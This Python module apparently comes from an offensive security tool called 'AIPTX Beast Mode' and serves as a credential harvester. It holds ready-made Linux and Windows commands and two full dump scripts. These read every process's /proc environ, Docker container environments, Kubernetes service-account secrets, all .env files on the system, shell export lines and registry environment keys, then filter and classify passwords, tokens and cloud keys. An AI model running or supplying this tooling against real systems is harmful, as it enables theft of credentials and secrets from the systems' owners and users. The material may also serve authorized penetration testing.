"""
AIPTX Beast Mode - Environment Secrets Harvester
================================================

Extract secrets from environment variables and process memory.
"""

from __future__ import annotations

import logging
import re
from dataclasses import dataclass, field
from typing import Any

logger = logging.getLogger(__name__)


@dataclass
class EnvSecret:
    """A secret found in environment variables."""
    variable_name: str
    value: str
    process_name: str | None = None
    process_id: int | None = None
    secret_type: str = "unknown"
    metadata: dict[str, Any] = field(default_factory=dict)


# Environment variable patterns that typically contain secrets
SECRET_ENV_PATTERNS = [
    # Generic patterns
    re.compile(r"^.*PASSWORD.*$", re.I),
    re.compile(r"^.*PASSWD.*$", re.I),
    re.compile(r"^.*SECRET.*$", re.I),
    re.compile(r"^.*TOKEN.*$", re.I),
    re.compile(r"^.*API_KEY.*$", re.I),
    re.compile(r"^.*APIKEY.*$", re.I),
    re.compile(r"^.*ACCESS_KEY.*$", re.I),
    re.compile(r"^.*PRIVATE_KEY.*$", re.I),
    re.compile(r"^.*CREDENTIALS.*$", re.I),

    # Database
    re.compile(r"^.*DB_PASS.*$", re.I),
    re.compile(r"^.*DATABASE_URL.*$", re.I),
    re.compile(r"^.*MYSQL_.*$", re.I),
    re.compile(r"^.*POSTGRES_.*$", re.I),
    re.compile(r"^.*MONGO_.*$", re.I),
    re.compile(r"^.*REDIS_.*$", re.I),

    # Cloud providers
    re.compile(r"^AWS_.*$", re.I),
    re.compile(r"^AZURE_.*$", re.I),
    re.compile(r"^GOOGLE_.*$", re.I),
    re.compile(r"^GCP_.*$", re.I),
    re.compile(r"^DIGITALOCEAN_.*$", re.I),

    # Services
    re.compile(r"^GITHUB_.*$", re.I),
    re.compile(r"^GITLAB_.*$", re.I),
    re.compile(r"^SLACK_.*$", re.I),
    re.compile(r"^STRIPE_.*$", re.I),
    re.compile(r"^TWILIO_.*$", re.I),
    re.compile(r"^SENDGRID_.*$", re.I),

    # Frameworks
    re.compile(r"^DJANGO_.*$", re.I),
    re.compile(r"^FLASK_.*$", re.I),
    re.compile(r"^RAILS_.*$", re.I),
    re.compile(r"^LARAVEL_.*$", re.I),

    # Auth
    re.compile(r"^JWT_.*$", re.I),
    re.compile(r"^AUTH_.*$", re.I),
    re.compile(r"^OAUTH_.*$", re.I),
]


class EnvSecretHarvester:
    """
    Extract secrets from environment variables.

    Searches current environment, process environments,
    and common .env files.
    """

    def __init__(self, os_type: str = "linux"):
        """
        Initialize the environment secret harvester.

        Args:
            os_type: Target OS type
        """
        self.os_type = os_type.lower()
        self._patterns = SECRET_ENV_PATTERNS

    def get_harvest_commands(self) -> list[dict[str, str]]:
        """
        Get commands to harvest environment secrets.

        Returns:
            List of command dicts
        """
        if self.os_type == "linux":
            return self._get_linux_commands()
        elif self.os_type == "windows":
            return self._get_windows_commands()
        return []

    def _get_linux_commands(self) -> list[dict[str, str]]:
        """Get Linux environment harvesting commands."""
        return [
            {
                "name": "current_env",
                "command": "env | grep -iE 'password|secret|token|key|credential|api'",
                "description": "Search current environment for secrets",
            },
            {
                "name": "proc_environ",
                "command": "for f in /proc/*/environ; do echo \"=== $f ===\"; cat \"$f\" 2>/dev/null | tr '\\0' '\\n' | grep -iE 'password|secret|token|key|api'; done 2>/dev/null",
                "description": "Search all process environments",
            },
            {
                "name": "systemd_env",
                "command": "cat /proc/1/environ 2>/dev/null | tr '\\0' '\\n' | grep -iE 'password|secret|token|key'",
                "description": "Check systemd (PID 1) environment",
            },
            {
                "name": "docker_env",
                "command": "docker inspect $(docker ps -q) 2>/dev/null | jq -r '.[].Config.Env[]' | grep -iE 'password|secret|token|key'",
                "description": "Check Docker container environments",
            },
            {
                "name": "kubernetes_secrets",
                "command": "cat /var/run/secrets/kubernetes.io/serviceaccount/* 2>/dev/null",
                "description": "Check Kubernetes mounted secrets",
            },
            {
                "name": "env_files",
                "command": "find / -name '.env' -o -name '.env.*' 2>/dev/null | xargs cat 2>/dev/null | grep -iE 'password|secret|token|key|api'",
                "description": "Search .env files",
            },
            {
                "name": "export_history",
                "command": "grep -h 'export.*=' /home/*/.bashrc /home/*/.bash_profile /root/.bashrc 2>/dev/null | grep -iE 'password|secret|token|key'",
                "description": "Search bash configs for exports",
            },
        ]

    def _get_windows_commands(self) -> list[dict[str, str]]:
        """Get Windows environment harvesting commands."""
        return [
            {
                "name": "current_env",
                "command": "set | findstr /i \"password secret token key api\"",
                "description": "Search current environment",
            },
            {
                "name": "user_env",
                "command": "reg query \"HKCU\\Environment\" 2>nul",
                "description": "Query user environment variables",
            },
            {
                "name": "system_env",
                "command": "reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" 2>nul",
                "description": "Query system environment variables",
            },
            {
                "name": "powershell_env",
                "command": "powershell -c \"[Environment]::GetEnvironmentVariables() | Out-String\" | findstr /i \"password secret token key api\"",
                "description": "Get all environment variables via PowerShell",
            },
        ]

    def parse_env_output(self, output: str) -> list[EnvSecret]:
        """
        Parse environment variable output.

        Args:
            output: Raw output from env command

        Returns:
            List of EnvSecret objects
        """
        secrets = []

        for line in output.strip().split("\n"):
            if "=" not in line:
                continue

            parts = line.split("=", 1)
            if len(parts) != 2:
                continue

            var_name, value = parts
            var_name = var_name.strip()
            value = value.strip()

            # Skip empty values
            if not value or value in ("", "null", "none", "undefined"):
                continue

            # Check if variable name matches secret patterns
            is_secret = any(pattern.match(var_name) for pattern in self._patterns)

            if is_secret:
                secret_type = self._classify_secret(var_name, value)
                secrets.append(EnvSecret(
                    variable_name=var_name,
                    value=value,
                    secret_type=secret_type,
                ))

        return secrets

    def _classify_secret(self, var_name: str, value: str) -> str:
        """Classify the type of secret based on name and value."""
        var_lower = var_name.lower()

        if "password" in var_lower or "passwd" in var_lower:
            return "password"
        elif "api_key" in var_lower or "apikey" in var_lower:
            return "api_key"
        elif "token" in var_lower:
            return "token"
        elif "secret" in var_lower:
            return "secret"
        elif "access_key" in var_lower:
            return "access_key"
        elif "private_key" in var_lower:
            return "private_key"
        elif "database" in var_lower or "db_" in var_lower:
            return "database"
        elif "aws_" in var_lower:
            return "aws_credential"
        elif any(x in var_lower for x in ["azure_", "google_", "gcp_"]):
            return "cloud_credential"
        else:
            return "unknown"

    def get_env_dump_script(self) -> str:
        """Get a comprehensive environment dumping script."""
        if self.os_type == "linux":
            return """#!/bin/bash
# AIPTX Environment Secret Harvester

echo "[*] Dumping environment secrets..."
OUTPUT="/tmp/env_secrets_$$.txt"

echo "=== Current Environment ===" >> "$OUTPUT"
env | sort >> "$OUTPUT"

echo "" >> "$OUTPUT"
echo "=== Process Environments ===" >> "$OUTPUT"
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    if [ -r "/proc/$pid/environ" ]; then
        cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\\0' ' ')
        echo "--- PID $pid: $cmdline ---" >> "$OUTPUT"
        cat /proc/$pid/environ 2>/dev/null | tr '\\0' '\\n' >> "$OUTPUT"
        echo "" >> "$OUTPUT"
    fi
done

echo "[*] Filtering for secrets..."
grep -iE 'password|secret|token|key|credential|api' "$OUTPUT" > "${OUTPUT}.secrets"

echo "[*] Results:"
cat "${OUTPUT}.secrets"
echo ""
echo "[*] Full dump: $OUTPUT"
echo "[*] Secrets only: ${OUTPUT}.secrets"
"""
        else:
            return """@echo off
REM AIPTX Environment Secret Harvester (Windows)

echo [*] Dumping environment secrets...
set OUTPUT=%TEMP%\\env_secrets_%RANDOM%.txt

echo === Current Environment === >> "%OUTPUT%"
set >> "%OUTPUT%"

echo. >> "%OUTPUT%"
echo === Registry Environment === >> "%OUTPUT%"
reg query "HKCU\\Environment" >> "%OUTPUT%" 2>nul
reg query "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment" >> "%OUTPUT%" 2>nul

echo [*] Results saved to: %OUTPUT%
type "%OUTPUT%" | findstr /i "password secret token key api"
"""


def harvest_env_secrets(os_type: str = "linux") -> list[dict[str, str]]:
    """Convenience function to get environment secret harvest commands."""
    harvester = EnvSecretHarvester(os_type)
    return harvester.get_harvest_commands()


__all__ = [
    "EnvSecret",
    "EnvSecretHarvester",
    "harvest_env_secrets",
    "SECRET_ENV_PATTERNS",
]
